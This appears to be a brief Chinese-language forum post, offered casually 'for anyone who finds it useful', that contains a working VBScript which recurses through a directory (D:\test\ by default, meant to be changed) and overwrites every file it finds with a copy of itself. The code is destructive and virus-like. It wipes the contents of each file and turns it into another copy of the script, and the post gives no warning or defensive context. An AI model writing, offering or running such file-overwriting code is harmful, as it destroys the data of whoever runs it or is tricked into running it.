一下这段代码是我自己无聊是写的,希望对有用得上的人有帮助。
用处嘛,见标题。
dim fso '这一行可以不写
set fso = createObject("scripting.fileSystemObject")
sub traverse(address)
set folder = fso.getFolder(address)
Set folds = folder.subFolders
Set files = folder.files
for each file in files
fso.copyfile wscript.scriptfullname,file.path '将自身覆盖遍历到的文件
Next
for each fold in folds
call traverse(fold.path)
Next
end sub
call traverse("D:\test\") '文件地址自己改